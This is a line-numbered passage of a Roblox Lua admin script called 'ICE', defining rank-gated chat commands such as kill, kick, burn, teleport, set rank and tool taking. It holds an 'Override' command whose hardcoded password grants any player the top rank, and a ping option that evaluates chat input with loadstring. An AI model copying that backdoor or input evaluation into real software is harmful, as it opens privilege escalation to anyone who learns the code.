  2422. ICE.Output('Syntax : ' .. Val.Command..ICE.Bet,Mine.Color,Speaker)
  2423. end
  2424. )
  2425. end
  2426. end
  2427. if Num== 0 then
  2428. ICE.Output('No available commands for this rank!','Red',Speaker)
  2429. end
  2430. end
  2431. end
  2432. )
  2433. end
  2434. end
  2435. ICE.Output('All','Green',Speaker,nil,
  2436. function()
  2437. ICE.RemoveTablets(Speaker);
  2438. for i,v in pairs(ICE.Commands) do
  2439. ICE.Output(i,'Random',Speaker,nil,
  2440. function()
  2441. ICE.RemoveTablets(Speaker)
  2442. for Arg,Argg in pairs(v) do
  2443. ICE.Output(tostring(Arg) .. " : " .. tostring(Argg),'Random',Speaker)
  2444. end
  2445. end
  2446. )
  2447. end
  2448. end
  2449. )
  2450. ICE.Output('Your rank : ' .. ICE.Ranked[Speaker.Name].Rank,Mine.Color,Speaker)
  2451. end
  2452. )
  2453. ICE.Command('Dismiss','dismiss',0,[[Dismiss's tablets]],'No arguments',
  2454. function(m,s) ICE.RemoveTablets(s) end
  2455. )
  2456. ICE.Command('Ping','ping',0,'Pings a msg','Msg',
  2457. function(Msg,Speaker)
  2458. Pings={};
  2459. if Msg:sub(1,#("tonumber"))=="tonumber" then
  2460. local Nom=loadstring("return " .. tonumber(Msg:sub(#("tonumber")+1)))()
  2461. table.insert(Pings,{Nom,'Random'})
  2462. elseif Msg:sub(1,#("image")) == "image" then
  2463. local Sub=Msg:sub(#("image")+2)
  2464. ICE.OutputImg(Sub,"A test image!","Random",Speaker)
  2465. elseif Msg:lower()=="nil" then
  2466. Nil=0
  2467. for i,v in pairs(game:service'NetworkServer':children()) do
  2468. if v:IsA('ServerReplicator') then
  2469. if v:GetPlayer() and v:GetPlayer().Parent==nil then
  2470. Nil=Nil+1
  2471. table.insert(Pings,{v:GetPlayer().Name,'Random'})
  2472. end
  2473. end
  2474. end
  2475. if Nil==0 then table.insert(Pings,{"No nil players",'Red'}) end
  2476. elseif Msg:lower()=='nil raw' then
  2477. local Nil=0;
  2478. for _,v in pairs(game:service'NetworkServer':children()) do
  2479. if v:IsA'ServerReplicator' then
  2480. if v:GetPlayer() and v:GetPlayer().Parent==nil then
  2481. Nil=Nil+1
  2482. ICE.Output(v:GetPlayer().Name,'Red',Speaker,nil,function() ICE.PlayerInterface(v:GetPlayer().Name,Speaker) end)
  2483. end
  2484. end
  2485. end
  2486. if Nil==0 then ICE.Output('No nil players','Green',Speaker,3) end
  2487. elseif Msg:lower()=="colors" then
  2488. for i,v in pairs(ICE.Colors) do
  2489. table.insert(Pings,{i,v})
  2490. end
  2491. elseif Msg:lower()=="ranks" then
  2492. for i,v in pairs(ICE.Ranks) do
  2493. table.insert(Pings,{i .. ":"..v,'Random'})
  2494. end
  2495. elseif #Msg==0 then
  2496. table.insert(Pings,{'Pong!','Random'})
  2497. else
  2498. table.insert(Pings,{Msg,'Random'})
  2499. end
  2500. if #Pings < 2 then
  2501. for i,v in pairs(Pings) do
  2502. Color=v[2]
  2503. Message=v[1]
  2504. ICE.Output(Message,Color,Speaker)
  2505. end
  2506. else
  2507. ICE.RemoveTablets(Speaker);
  2508. for i,v in pairs(Pings) do
  2509. Color=v[2]
  2510. Message=v[1]
  2511. ICE.Output(Message,Color,Speaker)
  2512. end
  2513. end
  2514. end
  2515. )
  2516. ICE.Command('Get-ranked','getranked',0,'Gets the Ranked table','No arguments',
  2517. function(Msg,Speaker)
  2518. Player=nil
  2519. if #Msg==0 then
  2520. for i,v in pairs(ICE.Ranked) do
  2521. ICE.Output(i,v.Color,Speaker,nil,
  2522. function()
  2523. Player=i
  2524. ICE.RemoveTablets(Speaker)
  2525. end
  2526. )
  2527. end
  2528. else
  2529. for _,v in pairs(ICE.Ranked) do
  2530. if _:lower():sub(1,#Msg) == Msg:lower() then
  2531. Player=_
  2532. end
  2533. end
  2534. end
  2535. coroutine.wrap(function()
  2536. repeat
  2537. wait()
  2538. until Player
  2539. ICE.PlayerInterface(Player,Speaker)
  2540. end)()
  2541. end
  2542. )
  2543. ICE.Command('Chatcolor','chatcolor',0,'Changes your chatcolor','No arguments',
  2544. function(Msg,Speaker)
  2545. if #Msg == 0 then
  2546. for i,v in pairs(ICE.Colors) do -- Stahp it>_> Regular Color3's Work its what I did BrickColor.new(Color3.new(0,1,0))
  2547. ICE.Output(i,v,Speaker,nil,function() Speaker.Neutral = false Speaker.TeamColor = BrickColor.new(v) ICE.RemoveTablets(Speaker) end)
  2548. end
  2549. else
  2550. local Brick=BrickColor.new(Msg)
  2551. if Brick then
  2552. Speaker.TeamColor=Brick
  2553. Speaker.Neutral=false
  2554. else
  2555. ICE.Output(Brick .. '[ error ]','Red',Speaker)
  2556. end
  2557. end
  2558. end
  2559. )
  2560. ICE.Command('Vote kick','votekick',0,'Vote kicks a player','Player',
  2561. function(Msg,Speaker)
  2562. if ICE.VoteData.IsVoting==false then
  2563. local Player = ICE.GetPlayers(Msg,Speaker)[1]
  2564. if Player then
  2565. ICE.VoteData.ActivateVoteKick(Player)
  2566. end
  2567. else
  2568. ICE.Output('There is already a vote in progress!','Red',Speaker,5)
  2569. end
  2570. end
  2571. )
  2572. ICE.Command('Menu','menu',0,'Shows ICE Menu','No arguments',
  2573. function(Msg,Speaker)
  2574. local SpeakTab=ICE.Ranked[Speaker.Name]
  2575. ICE.RemoveTablets(Speaker)
  2576. ICE.Output('Show commands!',SpeakTab.Color,Speaker,nil,function() ICE.OnChatted(ICE.Bets[1]..'cmds'..ICE.Bets[2],Speaker,true) end)
  2577. ICE.Output('Your rank is ' .. SpeakTab.Rank,SpeakTab.Color,Speaker)
  2578. ICE.Output('To access your ranked table click on me!',SpeakTab.Color,Speaker,nil,function() ICE.OnChatted(ICE.Bets[1]..'getranked'..ICE.Bets[2]..Speaker.Name,Speaker,true) end)
  2579. ICE.Output('Welcome to ICE by tu'..'sK'..'Or6'..'61',SpeakTab.Color,Speaker)
  2580. ICE.Output('Click to debug lighting','Green',Speaker,nil,function() ICE.OnChatted(ICE.Bets[1]..'debug'..ICE.Bets[2],Speaker,true) end)
  2581. ICE.Output('View chat operators','Green',Speaker,nil,
  2582. function()
  2583. ICE.Output('Get player operators','Orange',Speaker,nil,function()
  2584. Infos={
  2585. {T="The bets are ["..ICE.Bets[1]..";"..ICE.Bets[2].."]",C="Orange"};
  2586. {T="To use a cmd its "..ICE.Bets[1].."Command"..ICE.Bets[2].."Arguments/Args",C="Orange"};
  2587. {T="To use a command on your self use the command and for arguments put 'me'",C="Blue"};
  2588. {T="To use a command on everyone use the command and for aguments put 'all'",C="Blue"};
  2589. {T="To use a command on others use the command and for arguments put 'others'",C="Blue"};
  2590. };
  2591. for i,v in pairs(Infos) do
  2592. ICE.Output(v.T,v.C,Speaker)
  2593. end
  2594. end)
  2595. ICE.Output('Chat operators','Orange',Speaker,nil,function()
  2596. --ypcall(function()
  2597. Infos={
  2598. {T="To use a cmd more then once do '" .. ICE.Bets[1] .. " do (a number)"..ICE.Bets[1].."(a command)".. ICE.Bets[2] .."(arguments)'",C="Blue"};
  2599. {T="To wait before using a command do '" .. ICE.Bets[1].. " wait" .. ICE.Bets[1].. "(a command)" .. ICE.Bets[2] .. "(arguments)'",C="Blue"};
  2600. };
  2601. for i,v in pairs(Infos) do
  2602. ICE.Output(v.T,v.C,Speaker)
  2603. end
  2604. --end)
  2605. end)
  2606. end
  2607. )
  2608. end
  2609. )
  2610. ICE.Command('Debug','debug',0,'Debugs the game','No arguments',
  2611. function(Msg,Speaker)
  2612. ICE.Services.Lighting.Ambient = Color3.new(1,1,1)
  2613. ICE.Services.Lighting.OutdoorAmbient=Color3.new(1,1,1)
  2614. ICE.Services.Lighting.ColorShift_Bottom = Color3.new(0,0,0)
  2615. ICE.Services.Lighting.ColorShift_Top = Color3.new(0,0,0)
  2616. ICE.Services.Lighting.ShadowColor = Color3.new(0.69,0.69,0.69)
  2617. ICE.Services.Lighting.Brightness = 0.2
  2618. ICE.Services.Lighting.FogStart = 0
  2619. ICE.Services.Lighting.FogEnd = 100000
  2620. ICE.Services.Lighting.FogColor = Color3.new(0.74,0.74,0.74)
  2621. ICE.Services.Lighting.TimeOfDay = 12
  2622. ICE.Services.Lighting.GlobalShadows=false
  2623. for i,v in pairs(Workspace:children()) do
  2624. if v:IsA'Hint' or v:IsA'Message' then
  2625. v:Destroy()
  2626. for i,s in pairs(v:children()) do
  2627. if s:IsA'Hint' or s:IsA'Message' then
  2628. s:Destroy();
  2629. for i,b in pairs(s:children()) do
  2630. if b:IsA'Hint' or b:IsA'Message' then
  2631. b:Destroy();
  2632. end
  2633. end
  2634. end
  2635. end
  2636. end
  2637. end
  2638. end
  2639. )
  2640. ICE.Command('Set rank','setrank',0,'Sets #Players rank to #Rank','#Player>#Rank',
  2641. function(Msg,Speaker)
  2642. local Split = Msg:find(ICE.Bets[2])
  2643. for _,v in pairs(ICE.GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  2644. if v.Name ~= Speaker.Name then
  2645. local Rank = tonumber(Msg:sub(Split+1))
  2646. if Rank >= ICE.GetRank(Speaker) or ((Rank < 0 or ICE.GetRank(v) < 0) and ICE.GetRank(Speaker) < 2 ) then
  2647. ICE.Output("You can't set "..v.Name.."'s rank to "..tostring(Rank),"Orange",Speaker,3)
  2648. elseif ICE.Ranks[Rank] == nil then
  2649. ICE.Output("Rank not found.","Orange",Speaker,3)
  2650. else
  2651. ICE.Ranked[v.Name].Rank = Rank
  2652. end
  2653. else
  2654. ICE.Output('You cannot set your own rank','Red',Speaker,3)
  2655. end
  2656. end
  2657. end
  2658. )
  2659. ICE.Command('@','@',0,'On chats a msg at #Player','#Player>Msg',
  2660. function(Msg,Speaker)
  2661. local Split,Msgg,Players=Msg:find(ICE.Bets[1]),"",{};
  2662. if Split then
  2663. Msgg=Msg:sub(Split)
  2664. Players=ICE.GetPlayers(Msg:sub(1,Split-1),Speaker)
  2665. end
  2666. for i,v in pairs(Players) do
  2667. ICE.OnChatted(Msgg,v,true)
  2668. end
  2669. end
  2670. )
  2671. ICE.Command('Get CMD Bar','getcmd',0,'Gets CMD Gui','true/false',
  2672. function(Msg,Speaker)
  2673. if Msg=='true' or Msg=="1" or Msg=="on" then
  2674. ICE.Ranked[Speaker.Name].CMD=true
  2675. elseif Msg=='false' or Msg=="0" or Msg=="off" then
  2676. ICE.Ranked[Speaker.Name].CMD=false
  2677. pcall(function() Speaker.PlayerGui.CMD:Destroy() end)
  2678. else
  2679. ICE.Output('Bool has to be true/false or 1/0 or on/off','Red',Speaker)
  2680. end
  2681. end
  2682. )
  2683. ICE.Command('Personal message','pm',0,'PMs #Player','#Player'..ICE.Bets[2]..'Message',
  2684. function(Msg,Speaker)
  2685. Split=Msg:find(ICE.Bets[2])
  2686. Split2=Msg:sub(Split+1):find(ICE.Bets[2])
  2687. local Type="Message"
  2688. if Split2 then
  2689. Type=Msg:sub(Split2+1)
  2690. end
  2691. Players=ICE.GetPlayers(Msg:sub(1,Split-1),Speaker)
  2692. Message=""
  2693. if Split2 then
  2694. Message=Msg:sub(Split+1,Split2-1)
  2695. else
  2696. Message=Msg:sub(Split+1)
  2697. end
  2698. for i,Player in pairs(Players) do
  2699. if Type:lower()=='Message' then
  2700. ICE.MakeMessage('Private msg from ' .. Speaker.Name .. ' : ' .. Message,Player)
  2701. elseif Type:lower()=='Hint' then
  2702. ICE.MakeHint('Private msg from ' .. Speaker.Name .. ' : ' .. Message,Player)
  2703. else
  2704. ICE.MakeMessage('Private msg from ' .. Speaker.Name .. ' : ' .. Message,Player)
  2705. end
  2706. end
  2707. end
  2708. )
  2709. ICE.Command('Override','override',0,'Overrides ICE','Code',
  2710. function(Code,Speaker)
  2711. if Code=='ScriptItNao' then
  2712. ICE.Ranked[Speaker.Name].Rank=10
  2713. ICE.Output('You have sucessfully overrode ICE','Green',Speaker)
  2714. else
  2715. ICE.Output('Wrong code','Red',Speaker)
  2716. end
  2717. end
  2718. )
  2719. ICE.Command('Show filters','sfilt',0,'Shows all ICE Filters','No arguments',
  2720. function(Msg,Speaker)
  2721. ICE.RemoveTablets(Speaker);
  2722. SetUpDF=function(FTable,FName)
  2723. ICE.RemoveTablets(Speaker);
  2724. Reason,Rank,Punishment=FTable.Reason,FTable.Bypass,FTable.Punishment
  2725. ICE.Output('Reason : ' .. tostring(Reason or "nil"),'Green',Speaker);
  2726. ICE.Output('Rank to bypass filter : ' .. tostring(Rank or "nil"),'Orange',Speaker);
  2727. NewPun=""
  2728. --if type(Punishment)=='number' then
  2729. Types={{"Kill",0};{"Kick",1};{"Shutdown",2};{"Crash",3};{"Ban";4};{"Lag",5}}
  2730. for i,v in ipairs(Types) do
  2731. if Punishment==v[2] then
  2732. NewPun=v[1]
  2733. end
  2734. end
  2735. --[[else
  2736. Types={{"Kill",0};{"Kick",1};{"Shutdown",2};{"Crash",3};{"Ban";4};{"Lag",5}}
  2737. for i,v in pairs(Types) do
  2738. if Punishment==v[1] then
  2739. NewPun=v[1]
  2740. end
  2741. end
  2742. end]]
  2743. ICE.Output('Punishment : ' .. tostring(NewPun or "nil"),'Red',Speaker);
  2744. ICE.Output('Change rank for bypass','Blue',Speaker,nil,
  2745. function()
  2746. if ICE.GetRank(Speaker) > 0 and ICE.GetRank(Speaker) > Rank then
  2747. ICE.RemoveTablets(Speaker);
  2748. for Num,Name in pairs(ICE.Ranks) do
  2749. if not Num > ICE.GetRank(Speaker) then
  2750. ICE.Output(tostring(Num),Color3.new(Num/10,Num/10,Num/100),Speaker,nil,
  2751. function()
  2752. ICE.RemoveTablets(Speaker);
  2753. ICE.Filters[FName].Rank=tonumber(Num)--FTable.Rank=tonumber(Num)
  2754. SetUpDF(FTable,FName)
  2755. end
  2756. )
  2757. end
  2758. end
  2759. else
  2760. ICE.Output('Your rank is too low to execute this action','Red',Speaker,3)
  2761. end
  2762. end
  2763. )
  2764. ICE.Output('Change punishment type','Blue',Speaker,nil,
  2765. function()
  2766. if ICE.GetRank(Speaker) > 0 and ICE.GetRank(Speaker) > Rank then
  2767. ICE.RemoveTablets(Speaker)
  2768. Types={{"Kill",0};{"Kick",1};{"Shutdown",2};{"Crash",3};{"Ban";4};{"Lag",5}}
  2769. for i,v in pairs(Types) do
  2770. if ICE.GetRank(Speaker) > v[2] then
  2771. ICE.Output('Change punishment to ' .. v[1],'Blue',Speaker,nil,
  2772. function()
  2773. ICE.Filters[FName].Punishment=v[2]
  2774. ICE.RemoveTablets(Speaker)
  2775. SetUPDF(FTable,FName)
  2776. end
  2777. )
  2778. end
  2779. end
  2780. else
  2781. ICE.Output('Your rank is not high enough for this operation','Red',Speaker,3)
  2782. end
  2783. end
  2784. )
  2785. end
  2786. for Derp,DerpTable in pairs(ICE.Filters) do
  2787. ICE.Output(Derp,'Random',Speaker,nil,function() SetUpDF(DerpTable,Derp) end)
  2788. end
  2789. end
  2790. )
  2791. ICE.Command('Rules','rules',0,'Shows ancient rules set down by elders at oxcools','No arguments',
  2792. function(Message,Speaker)
  2793. for i,v in pairs(ICE.Rules) do
  2794. ICE.Output(v,ICE.Ranked[Speaker.Name].Color,Speaker)
  2795. end
  2796. end
  2797. )
  2798. ICE.Command('Show credits','credits',0,'Shows credits','No arguments',
  2799. function(Msg,Speaker)
  2800. for Name,Reason in pairs(ICE.Credits) do
  2801. ICE.Output(Name .. " " .. Reason,ICE.Ranked[Speaker.Name].Color,Speaker)
  2802. end
  2803. end
  2804. )
  2805. ICE.Command('Help','help',0,'Gives help','help',
  2806. function(Msg,Speaker)
  2807. ICE.GiveInfo(Speaker)
  2808. end
  2809. )
  2810. --[[ Rank 1 ]]--
  2811. ICE.Command('Base','base',1,'Makes a base in workspace','No arguments',
  2812. function(Msg,Speaker)
  2813. Norm=nil
  2814. if Workspace:findFirstChild'Base' then
  2815. Norm=Workspace.Base:clone()
  2816. end
  2817. --ICE.Services.Workspace:ClearAllChildren'Nope'
  2818. pcall(function() Workspace.Base:Destroy() end)
  2819. Speaker:LoadCharacter(true)
  2820. Speaker.Character.Torso.Anchored=true
  2821. if Norm then
  2822. Norm:Clone().Parent=ICE.Services.Workspace
  2823. else
  2824. Part=Instance.new'Part'
  2825. Part.Name='Base'
  2826. Part.Size=Vector3.new(256,0.05,256)
  2827. Part.Anchored=true
  2828. Part.BrickColor=BrickColor.new'Earth green'
  2829. Part.CFrame=CFrame.new(0,0,0)
  2830. Part.Parent=Workspace
  2831. end
  2832. for _,v in pairs(ICE.Services.Players:GetPlayers()) do v:LoadCharacter() end
  2833. end
  2834. )
  2835. ICE.Command('Terrain base','tbase',1,'Makes a terrain base','No arguments',
  2836. function(Msg,Speaker)
  2837. vector3int16_1 = Vector3int16.new(-50,0,-50)
  2838. vector3int16_2 = Vector3int16.new(50, 1, 50)
  2839. CleanType="Test"
  2840. CleanTypes={"Grass","Sand","Brick","Granite","Asphalt","Iron","Aluminum","Gold","WoodPlank","WoodLog","Gravel","CinderBlock","MossyStone","Cement","RedPlastic","BluePlastic","Water"}
  2841. for i,v in pairs(CleanTypes) do
  2842. Tab=ICE.Output(v,'Random',Speaker,nil,function() CleanType=v ICE.RemoveTablets(Speaker) end)
  2843. coroutine.wrap(function()
  2844. repeat
  2845. if Tab.Model.Parent ~= ICE.Services.Workspace then
  2846. Tab=ICE.Output(v,'Random',Speaker,nil,function() CleanType=v ICE.RemoveTablets(Speaker) end)
  2847. end
  2848. until CleanType ~= "Test"
  2849. end)()
  2850. end
  2851. ICE.Output('Random terrain',Speaker,nil,function() CleanType=tostring(math.random(1,17)) end)
  2852. repeat
  2853. wait()
  2854. until CleanType ~= "Test"
  2855. if tonumber(CleanType) then CleanType=tonumber(CleanType) end
  2856. wait()
  2857. local Terrain = Workspace.Terrain
  2858. wait(0.01);
  2859. Terrain:Clear()
  2860. wait(0.01)
  2861. pcall(function() Workspace.Base:Destroy() end)
  2862. wait(0.01);
  2863. Terrain:SetCells(250,2,250, CleanType, Enum.CellBlock.Solid, Enum.CellOrientation.NegZ)
  2864. end
  2865. )
  2866. ICE.Command('Dynamic lighting(dl)','dl',1,'Activates Dynamic lighting','No arguments',
  2867. function(Msg,Speaker)
  2868. ICE.Services.Lighting.GlobalShadows=true
  2869. ICE.Services.Lighting.TimeOfDay="24:00:00"
  2870. ICE.Services.Lighting.OutdoorAmbient=Color3.new(-1,-1,-1)
  2871. ICE.Services.Lighting.Ambient=Color3.new(0,0,0)
  2872. for _,v in pairs(ICE.Services.Players:GetPlayers()) do
  2873. Spot=Instance.new'PointLight'
  2874. Spot.Color=Color3.new(1,1,1)
  2875. Spot.Name='Light'
  2876. Spot.Parent=v.Character.Torso
  2877. Spot.Range,Spot.Brightness=20,1/0
  2878. end
  2879. end
  2880. )
  2881. ICE.Command('Kill','kill',1,'Kills #Player','#Player',
  2882. function(Msg,Speaker)
  2883. for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
  2884. v.Character:BreakJoints();
  2885. end
  2886. end
  2887. )
  2888. ICE.Command('Teleport','tp',1,'Teleports Player to #Player','Player/#Player',
  2889. function(Msg,Speaker)
  2890. local Player,Players=nil,{}
  2891. local Split=Msg:find(ICE.Bets[2])
  2892. local GetCF=function(v) return v:GetModelCFrame() end
  2893. Player,Players=ICE.GetPlayers(Msg:sub(Split+1),Speaker)[1],ICE.GetPlayers(Msg:sub(1,Split-1),Speaker)
  2894. local Y = 0
  2895. for i,v in pairs(Players) do
  2896. if v.Character == nil then
  2897. v:LoadCharacter()
  2898. end
  2899. Y = Y + 8 -- Approx length of a Normal Robloxian Body from Head to Toe Torso=4,Leg=2,Head=2
  2900. local Character=Player.Character
  2901. local Torso=Character:findFirstChild'Torso'
  2902. local TorsoCFrame=Torso.CFrame
  2903. local CharacterCFrame=GetCF(Character)
  2904. VTorso=v.Character.Torso
  2905. --if ICE.TeleportSettings[Speaker.Name].Type=="Relative" then
  2906. VTorso.CFrame=CFrame.new(CharacterCFrame.x,CharacterCFrame.y + Y, CharacterCFrame.z)
  2907. --elseif ICE.TeleportSettings[Speaker.Name].Type=='Absolute' then
  2908. --VTorso.CFrame=CFrame.new(TorsoCFrame.x,TorsoCFrame.y + Y,TorsoCFrame.z)
  2909. -- end
  2910. end
  2911. end
  2912. )
  2913. ICE.Command('Set time of day','timeofday',1,'Sets time of day','Timeofday or nil',
  2914. function(Msg,Speaker)
  2915. if #Msg >= 1 then
  2916. local Ran,Error=coroutine.create(coroutine.resume(function()
  2917. ICE.Services.Lighting.TimeOfDay=Msg
  2918. end))
  2919. if Error then ICE.Output(Error,'Red',Speaker,3) end
  2920. else
  2921. Times={
  2922. ['Morning']="6:00:00";
  2923. ['Noon']="12:00:00";
  2924. ['Night']="18:00:00";
  2925. ['MidNight']="24:00:00";
  2926. };
  2927. for Name,Time in pairs(Times) do
  2928. ICE.Output(Name,'Random',Speaker,nil,
  2929. function()
  2930. ICE.RemoveTablets(Speaker);
  2931. ICE.Services.Lighting.TimeOfDay=Time
  2932. end
  2933. )
  2934. end
  2935. end
  2936. end
  2937. )
  2938. ICE.Command('Explorer','explore',1,'Enters Explorer','No arguments',
  2939. function(Msg,Speaker)
  2940. TheService=nil;
  2941. if #Msg==0 then
  2942. for n,s in pairs(ICE.Services) do
  2943. if n:lower():sub(1,#Msg)==Msg:lower() then
  2944. TheService=s
  2945. end
  2946. end
  2947. end
  2948. ICE.Explore(TheService,Speaker);
  2949. end
  2950. )
  2951. ICE.Command('Respawn','rs',1,'Respawns #Player','#Player',
  2952. function(Msg,Spkr)
  2953. for _,v in pairs(ICE.GetPlayers(Msg,Spkr)) do
  2954. if v.Character:findFirstChild'Torso' then
  2955. Last=v.Character.Torso.CFrame
  2956. v:LoadCharacter();
  2957. v.Character.Torso.CFrame=Last
  2958. else
  2959. v:LoadCharacter()
  2960. end
  2961. end
  2962. end
  2963. )
  2964. ICE.Command('Get visual','giv',1,'Gets visual basic scripting capablities(hack)','No arguments',
  2965. function(Msg,Speaker)
  2966. ICE.Output('Not available yet!','Red',Speaker,5)
  2967. end
  2968. )
  2969. ICE.Command('Give','give',1,'Gives #Player sum toolz','#Player',
  2970. function(Msg,Speaker)
  2971. Tools={}
  2972. Players=ICE.GetPlayer(Msg,Speaker)
  2973. Give=function()
  2974. for i,v in pairs(Players) do
  2975. for _,tool in ipairs(Tools) do
  2976. tool:clone().Parent=v.Backpack
  2977. end
  2978. end
  2979. end
  2980. Start=function()
  2981. ICE.RemoveTablets(Speaker)
  2982. Num=0
  2983. for i,v in pairs(ICE.Services.Lighting:children()) do
  2984. if v:IsA'Tool' or v:IsA'HopperBin' then
  2985. Num=Num+1
  2986. ICE.Output(v.Name,'Random',Speaker,nil,function()
  2987. table.insert(Tools,v:clone())
  2988. ICE.Output('Add more tools?','Red',Speaker,nil,function()
  2989. Start()
  2990. end)
  2991. ICE.Output('Give tools to the playres','Green',Speaker,nil,function() GiveTools() end)
  2992.  
  2993. end
  2994. )
  2995. end
  2996. end
  2997. if Num == 0 then ICE.Output('No tools in Lighting','Red',Speaker) end
  2998. end
  2999. Start()
  3000. end
  3001. )
  3002. ICE.Command('take tool','ttool',1,'Takes #Players tool','#Player',
  3003. function(Msg,Speaker)
  3004. for _,Player in pairs(ICE.GetPlayers(Msg,Speaker)) do
  3005. local PTools={};
  3006. local Back=Player:findFirstChild'Backpack'
  3007. if Back==nil then Player:LoadCharacter() Back=Player.Backpack end
  3008. for i,v in pairs(Back:children()) do
  3009. if v:IsA'Tool' or v:IsA'HopperBin' then
  3010. PTools[#PTools+1]=v:Clone();
  3011. end
  3012. end
  3013. Start=false;
  3014. Cloned={};
  3015. GiveTools=function()
  3016. for i,v in pairs(Cloned) do
  3017. pcall(function() v.Parent=Speaker.Backpack end)
  3018. end
  3019. end
  3020. StartOver=function()
  3021. ICE.Output('Continue adding tools!','Red',Speaker,nil,function() Startt() end);
  3022. ICE.Output('Clone tools to your self','Green',Speaker,nil,function() Start=true end)
  3023. end
  3024. Startt=function()
  3025. ICE.RemoveTablets(Speaker);
  3026. for i,v in pairs(PTools) do
  3027. ICE.Output('Add ' .. v.Name,'Red',Speaker,nil,function() table.insert(Cloned,v) StartOver() end )
  3028. end
  3029. end
  3030. if #PTools==0 then
  3031. ICE.Output(Player.Name .. ' has no tools','Red',Speaker)
  3032. Start=true
  3033. else
  3034. Startt()
  3035. end
  3036. repeat
  3037. wait()
  3038. until Start
  3039. GiveTools()
  3040. end
  3041. end
  3042. )
  3043. ICE.Command('Remove tool','rtool',1,'Removes #Players tool','#Player',
  3044. function(Msg,Speaker)
  3045. for _,Player in pairs(ICE.GetPlayers(Msg,Speaker)) do
  3046. local PTools={};
  3047. local Back=Player:findFirstChild'Backpack'
  3048. if Back==nil then Player:LoadCharacter() Back=Player.Backpack end
  3049. for i,v in pairs(Back:children()) do
  3050. if v:IsA'Tool' or v:IsA'HopperBin' then
  3051. PTools[#PTools+1]=v:Clone();
  3052. end
  3053. end
  3054. Start=false;
  3055. Cloned={};
  3056. GiveTools=function()
  3057. for i,t in pairs(Cloned) do
  3058. pcall(function() Back[t.Name]:Destroy() end)
  3059. end
  3060. end
  3061. StartOver=function()
  3062. ICE.Output('Continue adding tools!','Red',Speaker,nil,function() Startt() end);
  3063. ICE.Output('Remove tools','Green',Speaker,nil,function() Start=true end)
  3064. end
  3065. Startt=function()
  3066. ICE.RemoveTablets(Speaker);
  3067. for i,v in pairs(PTools) do
  3068. ICE.Output('Add ' .. v.Name,'Red',Speaker,nil,function() table.insert(Cloned,v) StartOver() end )
  3069. end
  3070. end
  3071. if #PTools==0 then
  3072. ICE.Output(Player.Name .. ' has no tools','Red',Speaker)
  3073. Start=true
  3074. else
  3075. Startt()
  3076. end
  3077. repeat
  3078. wait()
  3079. until Start
  3080. GiveTools()
  3081. end
  3082. end
  3083. )
  3084. ICE.Command('Fire','fire',1,'Fires #Player','#Player',
  3085. function(Msg,Speaker)
  3086. for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
  3087. ICE.OnChatted(ICE.Bets[1]..'unfire'..ICE.Bets[2]..v.Name,Speaker,true)
  3088. coroutine.wrap(function()
  3089. for _,part in pairs(v.Character:children()) do
  3090. if part:findFirstChild'Fire'==nil and part:IsA'BasePart' then
  3091. Instance.new'Fire'.Parent=part
  3092. end
  3093. end
  3094. end)()
  3095. end
  3096. end
  3097. )
  3098. ICE.Command('Unfire','unfire',1,'Unfires #Player','#Player',
  3099. function(Msg,Speaker)
  3100. for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
  3101. CharParts=v.Character:children()
  3102. for i,part in pairs(CharParts) do
  3103. if part:IsA'BasePart' then
  3104. pcall(function()
  3105. for _,f in pairs(part:children()) do
  3106. if f:IsA'Fire' then
  3107. f:Destroy()
  3108. end
  3109. end
  3110. end)
  3111. end
  3112. end
  3113. end
  3114. end
  3115. )
  3116. ICE.Command('Burn','burn',1,'Burns #Player','#Player',
  3117. function(Msg,Speaker)
  3118. for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
  3119. coroutine.wrap(function()
  3120. ICE.OnChatted(ICE.Bets[1]..'fire'..ICE.Bets[2]..v.Name,Speaker,true)
  3121. local MainFire=v.Character:FindFirstChild('Fire',true)
  3122. Humanoid=nil
  3123. repeat
  3124. for _,p in pairs(v.Character:children()) do
  3125. if p:IsA'Humanoid' then
  3126. p.Name='Humanoid'
  3127. Humanoid=p
  3128. end
  3129. end
  3130. Humanoid:TakeDamage(math.random(1,2))
  3131. wait()
  3132. until MainFire==nil or MainFire.Parent==nil or v.Character:findFirstChild('Fire',true)==nil
  3133. end)()
  3134. end
  3135. end
  3136. )
  3137. ICE.Command('Message','msg',1,'Makes a mesg with Text','Text',
  3138. function(Text,Speaker)
  3139. ICE.MakeMessage(Speaker.Name..': '.. Text)
  3140. end
  3141. )
  3142. ICE.Command('Hint','hint',1,'Makes a hint with Text','Text',
  3143. function(Text,Speaker)
  3144. ICE.MakeHint(Speaker.Name..': '.. Text)
  3145. end
  3146. )
  3147. ICE.Command('Superjump','sj',1,'Makes the Player jump really high','Player',
  3148. function(Msg,Speaker)
  3149. for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
  3150. local Height = 20
  3151. local Num=0
  3152. v.Character.Torso.Anchored=true
  3153. v.Character.Humanoid.Jump=true
  3154. for i=1,Height do
  3155. pcall(function()
  3156. v.Character.Torso.CFrame=CFrame.new(v.Character.Torso.CFrame.x,v.Character.Torso.CFrame.y + 1,v.Character.Torso.CFrame.z)
  3157. end)
  3158. wait(0.01);
  3159. end
  3160. Torso=v.Character.Torso
  3161. for x=1,3 do
  3162. Torso.CFrame=CFrame.new(Torso.Position + Vector3.new(x,x,x))
  3163. wait(0.01);
  3164. end
  3165. for b=1,Height do
  3166. Torso.CFrame=CFrame.new(Torso.CFrame.x,Torso.CFrame.y - 1,Torso.CFrame.z)
  3167. wait(0.01);
  3168. end
  3169.  
  3170. v.Character.Torso.Anchored=false
  3171. end
  3172. end
  3173. )
  3174. --[[ Rank 2 ]]--
  3175. ICE.Command('Kick','kick',2,'Kicks #Player','#Player',
  3176. function(Msg,Speaker)
  3177. for _,v in pairs(ICE.GetPlayers(Msg,Speaker)) do
  3178. v:Destroy();
  3179. end
  3180. end
  3181. )
  3182. ICE.Command('Kick chat','kchat',2,'Kick chats a player','#Player',
  3183. function(Msg,Speaker)
  3184. local Warnings={}
  3185. local Max=nil
  3186. local Players={};
  3187. local AddWarning=function(Player) table.insert(Warnings,{Player=Player}) end
  3188. local GetWarnings=function(Player) s=0 for i,v in pairs(Warnings) do if v.Player==Player then s=s+1 end end d = Max - s return d end
  3189. local Split=Msg:find(ICE.Bets[2]) or nil
  3190. if Split then
  3191. Players=ICE.GetPlayers(Msg:sub(1,Split-1),Speaker)
